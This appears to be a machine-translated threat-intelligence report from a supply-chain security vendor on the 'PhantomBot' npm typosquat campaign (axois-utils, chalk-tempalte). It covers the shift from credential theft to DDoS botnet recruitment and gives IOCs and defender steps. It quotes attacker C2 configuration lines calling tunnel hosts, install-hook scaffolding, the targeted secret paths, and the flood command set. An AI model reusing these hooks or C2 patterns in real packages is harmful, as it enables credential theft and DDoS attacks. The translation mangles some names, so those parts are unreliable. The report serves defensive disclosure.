PhantomBot: Od krađe akreditiva do botneta

PhantomBot: Typosquat kampanja koja se preobrazila iz krađe akreditiva u komplet za botnet po principu "ključ u ruke"

TL; DR

Jedan NPM izdavač, deadcode09284814, pokrenuo je kampanju s pogrešnim tipografskim uvredama protiv legitimnih axios i chalk-template paketi od sredine maja 2026.

Kampanja je započela kao konvencionalna krađa akreditiva i novčanika, izvlačeći podatke u Serveo HTTPS tunel.

On 2026-05-17, sa axois-utils:1.0.9, operater je u potpunosti zamijenio korisni teret: isti trostruki instalacijski scaffol, isti izdavač, isto ime paketa.

Ali instalacijska skripta je sada regrut za DDoS botnet na više platformi.

Korisni teret govori o localhost.run tunelira i prihvata flood komande, pretvarajući zaražena okruženja u dio DDoS-sposobnog botneta.

Operater je čak i poslao Binarni kod C2 servera unutar tarballa, što pokazuje jasnu eskalaciju od krađe akreditiva do aktivne botnet infrastrukture.

Dva paketa, četiri verzije su još uvijek aktivne u registru i jedan operater sada pokreće oba modula paralelno.

Ozbiljnost: visoka.

Glavni MOK Bilo koja verzija axois-utils ili chalk-tempalte od izdavača deadcode09284814

Napad: Kako funkcioniše

Kampanja je izgrađena na namjerno dosadnoj skeli za isporuku: dva tipografski pogrešna imena paketa, jedno slovo različita od paketa sa stotinama miliona sedmičnih preuzimanja (axios, predložak kredom) i trostruku instalaciju hooks koji garantuju izvršenje. Zanimljivo je šta skela nosi — i činjenicu da je operater promijenio teret bez ikakvih drugih promjena.

Zajednička skela

Svaka objavljena verzija oba paketa deklariše ista tri životna ciklusa hooks in package.json:

"scripts": {    "preinstall":  "node <payload>.js",    "install":     "node <payload>.js",    "postinstall": "node <payload>.js"  } 

Navođenje korisnog tereta pod sva tri hooks je pretjerano — nakon instalacije sam bi se pokrenuo u zadanom stanju npm installIzbor je važan: npm instalacija –ignore-scripts preskače skripte, ali nekoliko uobičajenih tokova rada (CI keš vraća taj životni ciklus ponovnog pokretanja) hooks selektivno ili programeri koji samo vrše reviziju nakon instalacije) daju trostruko redundantnu deklaraciju kao najsigurniju opkladu za napadača.

kreda-predložak dodaje drugi mehanizam: deklariše axois-utils:^1.0.7 kao okruženje za izvođenje zavisnostInstaliranje tipografske greške predložak kredom stoga povlači i srodni typosquat, i oba paketa se pokreću. Dva paketa su koordinirani par, a ne nezavisni popisi.

Faza A — kradljivac akreditiva / novčanika (2026-05-15 → danas)

Faza A je originalni korisni teret. Utovarivač je kratak postinstall.js koji ukazuje na Serveo HTTPS obrnuti tunel:

// chalk-tempalte/postinstall.js:11-13  const C2_HOST = "f04a273bd84c0622-80-200-28-28.serveousercontent.com";  const C2_PORT = 443;  const C2_PATH = '/collect'; 

Serveo poddomena kodira odredišnu IP adresu (80.200.28.28) direktno u nazivu hosta — prepoznatljiva konvencija za tu uslugu. Operator rotira nasumični prefiks poddomene između verzija kako bi izbjegao liste blokiranja naivnih domena, ali se osnovna IP adresa nikada ne mijenja. (kreda-predložak:1.0.14 polovan 8a3e818ea8f11186-80-200-28-28…; 1.0.16 / 1.0.19 / 1.0.20 upotreba f04a273bd84c0622-….)

postinstall.js ruke dalje od phantom.js, "kolektorski" modul u paketu od 7,667 linija. phantom.js šeta domaćina za:

SSH privatni ključevi (~/.ssh/*)
.npmrc sadržaj i bilo koji npm_* tokeni okruženja
Datoteke s AWS, GCP i Azure vjerodajnicama
GitHub regularni izraz tokena za lični pristup (ghp_*, gho_*, ghu_*, ghs_*)
Artefakti kripto-novčanika za Bitcoin, Exodus, Electrum, Monero, Litecoin, Dogecoin, Zcash, Dash
Rekurzivni .env* hodati kroz ~/projects, ~/dev, ~/code, ~/workspacei instalacijski cwd
Shell historije i potpuni process.env

Paket je poslan u Serveo tunel na / skupitiNema obfuskacije, nema anti-VM logike, nema staging procesa — operater se ulaže u volumen i brzinu.

Faza B — Regrutacija za PhantomBot DDoS napade (17.05.2026., samo axois-utils:1.0.9)

Faza B zamjenjuje phantom.js + postinstall.js jednom datotekom pod nazivom distrube.js (greška u kucanju je od strane operatora). Triple-hook scaffolding u package.json ostaje nepromijenjen; paket zadržava isto ime, opseg i obrazac za povećanje verzije. Izvana, axois-utils:1.0.9 izgleda kao manji nastavak verzije 1.0.6. Iznutra, to je drugačija porodica zlonamjernog softvera.

distrube.js otvara se konfiguracijskim blokom koji imenuje vlastiti brend operatera:

// axois-utils-1.0.9/distrube.js:11-15
// Use your localhost.run HTTPS URL (the tunnel handles HTTP internally)
const C2_HOST = 'b94b6bcfa27554.lhr.life'; // Your localhost.run tunnel
const C2_PORT = 443; // HTTPS port - tunnel handles SSL
const BOT_ID = `${os.hostname()}_${Date.now()}_${crypto.randomBytes(4).toString('hex')}`;

Komentari su upućeni budućem operateru koji pokreće kit („Koristite svoj HTTPS URL localhost.run“). To, plus ono što se isporučuje uz bot klijenta, govori da ovo nije samo teret žrtve - to je kit.

Tok:

  1. upornost Prvo se pokreće. Skripta se instalira na tri različita načina po operativnom sistemu (registar trčanje + Startup folder + schtasks na Windowsu; crontab + phantom-bot.service sistemska jedinica + .bashrc/.zshrc dodati + /etc/rc.local na Linuxu; LaunchAgent com.phantom.bot.plist na macOS-u). Naziv usluge persistence i oznaka LaunchAgent su oboje fantomski robot / com.phantom.bot, odakle i potiče naziv kampanje.
  2. Izlaz sa sistemskih informacija pokreće se jednom — jednokratni POST otiska prsta na b94b6bcfa27554.lhr.life:443/collect koji sadrži naziv hosta, platformu, arch, korisničko ime, CPU/RAM, mrežne interfejse, process.env, cwd, početni direktorij, verziju čvora i javnu IP adresu. Ovo je mnogo manje agresivno od Faze A: nema SSH-a, nema novčanika, nema .env rekurzije. Posao bota je da se registruje, a ne da krade.
  3. Petlja otkucaja srca Otvara HTTPS POST svakih 30 sekundi na b94b6bcfa27554.lhr.life:443/. Korisnički agent je PhantomBot/1.0. TLS verifikacija je eksplicitno onemogućena (rejectUnauthorized: false). C2 odgovor se parsira kao JSON oblika {type, target, port, duration, threads, method} i šalje se.
  4. Arsenal poplava povezan je sa šest komandi:
Tip komande modul bilješke
ping Odgovor na pitanje o živosti Bot se identificira
http HTTP poplava Poplava zahtjeva sloja 7
HTTPS HTTPS poplava Isto kao http, omotano TLS-om
tcp TCP poplava 65 KB neželjene pošte sa slučajnim sadržajem
udp UDP poplava UDP paketi od 65,507 bajtova
brzo DoS sa brzim resetovanjem na HTTP/2 Tehnika CVE-2023-44487 iz 2023.

Svih pet modula za poplave uzimaju cilj, luka, trajanje, I teme argument — bot je generički flooder za iznajmljivanje, koji nije usmjeren ni na jednu određenu žrtvu. Operaterova lista žrtava nalazi se na C2, a ne u paketu.

Šta je novo ovdje — isporučeni C2 binarni fajl

Faza A je poznatog oblika: krađa akreditiva, instalacijska kuka, tuneliranje C2 od strane dobavljača. Faza B je takođe poznati oblik — DDoS botneti su godinama bili sastavni dio zlonamjernih npm paketa. Ono što je neobično je da je operater isporučio na strani servera kompleta unutar npm tarballa:

  • c2 — kompajlirani Go ELF binarni fajl od 4 megabajta
  • c2.go — izvorni kod Go koda od 426 linija za taj binarni kod

Nijedna datoteka se ne poziva nijednom instalacijskom hook-om. One nisu dio žrtvenog sadržaja. Nalaze se u direktoriju paketa na isti način kao što bi se nalazila i datoteka dokumentacije. Najvjerovatnije tumačenje je da je operater prebacio svoje razvojno radno stablo na npm bez uređivanja liste datoteka - prava OpSec greška - a ono što je isporučeno je kompletan dvostrani komplet: klijent kojeg pokreće žrtva i server koji pokreće operater.

Ovo je dio priče koji opravdava postavljanje "gotovog kompleta za botnet". Svako ko je preuzeo axois-utils:1.0.9 "Before Takedown" ne samo da ima uzorak žrtve - već ima i funkcionalan C2 server.

Osovina, u jednoj rečenici

Isti izdavač, ista imena paketa, ista trostruka kuka, isto „fantomsko“ brendiranje — ali Korisni teret je preko noći promijenio model monetizacijeod „sakupljanja tajni koje mogu preprodati“ do „iznajmljivanja kapaciteta poplava koje mogu zakupiti“. Vremenski periodi instalacije (TTP) koje branioci trebaju pratiti gotovo su identični u obje faze; odbrane zasnovane na potpisima su ključane za stringove putanje novčanika Faze A ili za phantom.jsKolekcionar sa 7,667 linija bi u potpunosti propustio Fazu B.

Datum (UTC) događaj
2026-05-15 Prva publikacija: axois-utils:1.0.4 (LAN testna verzija, razvojni sistem na 192.168.129.19)
2026-05-15 axois-utils:1.0.6 objavljeno — Faza A C2 zamijenjena u 80.200.28.28 putem Serveo tunela; komentar izvora // Change to '80.200.28.28' for public potvrđuje zamjenu dev→prod
2026-05-16 chalk-tempalte:1.0.14 i 1.0.16 objavljeno — deklariranje lančanog učitavača axois-utils:^1.0.7 kao zavisnost tokom izvođenja; Serveo poddomena rotirana
2026-05-16 Kampanja faze A otkrivena tokom rutinskog npm skeniranja; primijenjene su presude o potvrđenom zlonamjernom sadržaju.
2026-05-17 axois-utils:1.0.9 objavljeno — pivot korisnog tereta: regrutacija PhantomBot DDoS-a putem tunela localhost.run; na strani operatera c2 binarni i c2.go izvorni kod poslan u tarballu
2026-05-17 chalk-tempalte:1.0.19 i 1.0.20 objavljeno — još uvijek Faza A (kradljivac); operater sada pokreće oba modula paralelno
2026-05-17 Otkriće faze B tokom rutinskog skeniranja; zaključke su primijenjene na sve 2026-05-17 verzije
(u toku) Izvještaji o uklanjanju su na čekanju; sva četiri objavljena paketa su i dalje dostupna u registru u vrijeme pisanja.

Indikatori kompromisa

paketi

Ekosistem paket verzije
npm axois-utils (tiposkripta aksija) 1.0.4, 1.0.6, 1.0.9
npm chalk-tempalte (tiposquat krede-šablona) 1.0.14, 1.0.16, 1.0.19, 1.0.20

Identitet autora

polje vrijednost
npm izdavač deadcode09284814
E-pošta izdavača phantomdeadcode@tutamail.com
SCM verifikacija nijedan

Command-and-control

Faza Krajnja tačka Transport
A f04a273bd84c0622-80-200-28-28.serveousercontent.com:443/collect Serveo HTTPS tunel
A 8a3e818ea8f11186-80-200-28-28.serveousercontent.com:443/collect Serveo HTTPS tunel (ranija verzija)
A 80.200.28.28:443/collect Osnovna VPS krajnja tačka
B b94b6bcfa27554.lhr.life:443/ localhost.run HTTPS obrnuti tunel

Sažeci datoteka (SHA-256)

fajl SHA-256 bilješke
c2 (Idi na ELF, 4 MB) 165fa92d237fd017c227d00da06ab788212a62be94bf61e95df2d22d00377ef2 C2 server na strani operatera, isporučuje se unutra axois-utils:1.0.9
c2.go (426 linija) 7d0ae79fdb1e9968f3323a3712b624643a782ba3efb2cf3a2cb9c4c5513cea30 Go izvorni kod za binarni C2
distrube.js 308b15c023088a7188dea4ef609010ac2493eb4c365b103053d7621a9ca5b935 Bot klijent faze B
phantom.js (chalk-tempalte:1.0.19) 9e380ec88d3ccf3929e1a104e3b868d4d7b59ca189a8a431a54e9f3357dfdd81 Faza A akreditacije / sakupljač novčanika
phantom.js (chalk-tempalte:1.0.20) d1c9e3f296ee9f7d5032f73f9c504cede50334bc14c394055fd5cb9c3a6e08b3 Kolektor faze A (varijanta 1.0.20)
postinstall.js (chalk-tempalte:1.0.19 = 1.0.20) ffba9bdd6793edd5b38e12900252c1813a693f59c25af51c3b658cf3f27b6162 Učitavač faze A, identičan po bajtovima u obje verzije

Atribucija i motivacija

Pratimo ovu kampanju kao PhantomBot, preuzimajući vlastiti brend operatera od Korisnički agent: PhantomBot/1.0 zaglavlje otkucaja srca, phantom-bot.service sistemska jedinica, com.phantom.bot Oznaka LaunchAgent-a i phantomdeadcode@ adresa e-pošte. Operator je konzistentan u vezi s ovim imenom u najmanje četiri artefakta.

Katalog signala

  • izdavač - mrtvi kod09284814 na npm-u. Račun s jednim korisnikom, jednokratna e-pošta Tutamail, ne SCM verifikacija. Nema prethodne historije objavljivanja izvan ove kampanje.
  • Ponovna upotreba brenda — „phantom“ se pojavljuje u e-poruci izdavača, u nazivu datoteke kolekcionara Phase A (phantom.js), u nazivu servisa perzistencije faze B (phantom-bot.service), u oznaci LaunchAgent-a (com.phantom.bot), i u korisničkom agentu bota (PhantomBot/1.0).
  • infrastruktura — Jedan VPS na 80.200.28.28 frontovi Faze A putem rotacije Serveo poddomene; Faza B se pomiče u a localhost.run obrnuti tunel (b94b6bcfa27554.lhr.life). Obje usluge dobavljača su besplatne i zahtijevaju samo odlazni SSH na strani operatera, što je u skladu s postavkama s niskim budžetom i niskim operativnim sigurnosnim zahtjevima.
  • stil koda — Običan JavaScript u cijelom tekstu; bez obfuskacije, bez kodiranja stringova, bez anti-VM provjera. Imena varijabli su opisna (krađaSistemInfo, izvršiNaredbu, httpFlood). Komentari u distrube.js direktno se obraćaju budućem operatoru („Koristite svoj HTTPS URL localhost.run“), što sugerira da je datoteka bila namijenjena za redistribuciju kao komplet, a ne za korištenje od strane jednog napadača.
  • Operativna sigurnost (OpSec) — Tarball faze B sadrži i bot klijenta i C2 server na strani operatera (c2 VILENJAK + c2.go izvor). Ovo je u skladu s operaterom koji je proslijedio svoje radno stablo na npm bez revizije liste datoteka. Ili je operater neiskusan ili je komplet mislio za javnu distribuciju, a binarna datoteka C2 je dio proizvoda.
  • Samopotvrđivanje - axois-utils:1.0.4 sadrži komentar izvora // Promijeni na '80.200.28.28' za javnost u liniji 12, potvrđujući napredak u razvoju / pripremi / produkciji koji operateri obično negiraju.

motivacija

Faza A je jednostavna finansijska krađa: akreditivi, cloud ključevi, GitHub tokeni i kripto novčanici imaju likvidna tržišta preprodaje. Faza B je također finansijska, ali indirektna: DDoS servisi za iznajmljivanje („booter“) iznajmljuju kapacitet po minuti, a botovi poput ovog koji se ovdje isporučuje su inventar na kojem te usluge rade. 30-sekundni otkucaj srca, generički cilj/luka/trajanje shema komandi i arsenal poplava od pet protokola su standard proizvod operatera koji pokreće sistem.

Paralelno pokretanje oba modula — kreda-predložak:1.0.19 i 1.0.20 nastaviti slati kradljivca dok axois-utils:1.0.9 šalje bota - sugerira da operater štiti tokove prihoda umjesto da napusti Fazu A. Zaokret je dodatak, ne zamjena.

Ono što ne tvrdimo

Nismo uspjeli potvrditi stvarni identitet koji stoji iza mrtvi kod09284814 ručka, i ne pripisujemo ovu kampanju nijednom imenovanom akteru prijetnje, grupi ili državi. Brendiranje "fantom" je dovoljno konzistentno u svim artefaktima da sugerira jednog operatera, ali isporuka C2 binarnog koda u stilu kita ostavlja mogućnost da će budući paketi iz nepovezanih ručki ponovo koristiti isti kod.

udar

Legitimni ciljevi za čučnjeve axios i predložak kredom se uveliko oslanjaju u JavaScript ekosistemu; axios sam se nalazi među trideset najčešće preuzimanih npm paketa. Imena sa tipografskim greškama udaljena su samo jedan pritisak tipke od pravih (axoisaxios, predložakšablon), i oba su lingvistički uvjerljive pravopisne greške.

Nismo uspjeli dobiti pouzdanu statistiku preuzimanja za zlonamjerne verzije prije uklanjanja — npm ne zadržava broj preuzimanja po verziji nakon što je paket poništen s objavljivanja, i npms.ioProxyji u -stilu su bučni na ovoj skali. Bilo koja organizacija čija se lockfile rješava u paket pod nazivom axois-utils or kreda-predložak od izdavača mrtvi kod09284814 treba tretirati kao kompromitirano: rotirati sve prisutne akreditacije u process.env Na pogođenom hostu, provjeriti vektore perzistencije po operativnom sistemu (pogledajte "Šta branioci trebaju uraditi" u nastavku) i ukloniti zavisnost.

Novi obrasci

Ova kampanja primjer je promjene koju smo vidjeli u nekoliko nedavnih incidenata s novim vlasnicima nekretnina: Skela s kukom za montažu je izdržljiva imovinakorisni teret se može mijenjatiIsti izdavač, isti paket, isto predinstalacija / instalirajte / nakon instalacije trostruka, pa čak i ista kadenca povećanja verzije — jedina stvar koja se promijenila između axois-utils:1.0.6 i axois-utils:1.0.9 je li datoteka bila hooks pokrenuti. Detekcija zasnovana na potpisu povezana sa korisnim teretom Faze A (nizovi putanje novčanika, phantom.jsKolektor od 7,667 linija, Serveo C2 domaćin) bi označio prve tri verzije i u potpunosti propustio Fazu B.

Isti obrazac je vidljiv i u drugim kampanjama iz 2026. koje smo pratili: jedan operater sa stabilnom strukturom, koji se prebacuje između krađe akreditiva, klijenata koji varaju na ispitima, izbacivanja putem Telegram botova, a sada i regrutacije za DDoS napade. Branitelji koji se oslanjaju na potpise korisnih podataka će nastaviti gubiti drugi krug svake kampanje.

Posljedica je da TTP-ovi za vrijeme instalacije su bolji signalTrostruke deklaracije install-hook-a, instaliraju skripte koje uvoze HTTPS or podređeni_proces, instalirajte skripte koje pišu u korisničke foldere za pokretanje i instalirajte skripte koje razrješavaju imena hostova na besplatnim servisima za obrnuto tuneliranje (Serveo, localhost.run, ngrok, cloudflared) su rijetki u legitimnim paketima, a uobičajeni u zlonamjernim.

Šta bi branioci trebali uraditi

  • Revizija zaključanih datoteka. Pretraži svakih package-lock.json / pređa.brava / pnpm-lock.yaml u vašoj organizaciji za tačne nizove axois-utils i kreda-predložakTretirajte bilo koju utakmicu kao kompromis.
  • Rotirajte tajne na pogođenim domaćinima. Faza A - masovno prikupljeni SSH, cloud, GitHub, npm i novčanik podaci. Pretpostavimo svaki podatak koji je ikada prisutan u process.env, ~ / .ssh, ~/.aws, ~/.npmrc, ~ / .config, ili bilo koji drugi .env* Datoteka na pogođenom hostu je izložena.
  • Uklonite perzistentnost (Faza B). U Windowsu, izbrišite HKCU\Softver\Microsoft\Windows\Trenutna verzija\Pokreni\Ažuriranje sistema, ukloni %APPDATA%\Microsoft\Windows\Start meni\Programi\Pokretanje\system-update.bat, I schtasks /delete /tn SystemUpdate /fNa Linuxu, crontab -e i uklonite @reboot čvor …, systemctl –korisnik onemogući –sada phantom-bot.service zatim izbriši ~/.config/systemd/user/phantom-bot.service, piling .bashrc / .zshrc / /etc/rc.localNa macOS-u, launchctl istovari ~/Library/LaunchAgents/com.phantom.bot.plist zatim obrišite plist.
  • Blokiraj C2 hostove. Dodajte četiri C2 krajnje tačke iz IOC tabele na vašu izlaznu listu blokiranih. *.serveousercontent.com i *.lhr.life može se potpuno blokirati ako vaše okruženje nema legitimnu upotrebu za usluge obrnutog tuneliranja.
  • Lov po vremenu instalacije (TTP), a ne korisni teret. Unosi u datoteku zaključavanja inventara čiji package.json deklariše predinstalacija, instalirajte, I nakon instalacije svi ukazuju na isti skript. Provjerite starost paketa i status verifikacije izdavača. Ovaj obrazac je rijedak u legitimnim paketima i najpouzdaniji je signal koji PhantomBot ponovo koristi.
  • Revizija za binarni C2. Svako ko je preuzeo axois-utils:1.0.9 ima C2 server operatora (c2 ELF, sha256 165fa92d…) na disku. Skeniraj keš memorije i skladišta CI artefakata. Binarna datoteka je sama po sebi neaktivna, ali njeno prisustvo na radnoj stanici je nedvosmislen dokaz da je paket instaliran.

Završna linija

Isti operater, isti paket i ista instalacijska veza mogu isporučiti potpuno različite prijetnje u roku od 48 sati. Pazite na scaffold, a ne na payload.

sca-tools-software-alati-za-analizu-sastava
Prioritizirajte, sanirajte i osigurajte softverske rizike
Nabavite svoj besplatni račun.
Nije potrebna kreditna kartica.

Osigurajte svoj razvoj i isporuku softvera

sa Xygeni paketom proizvoda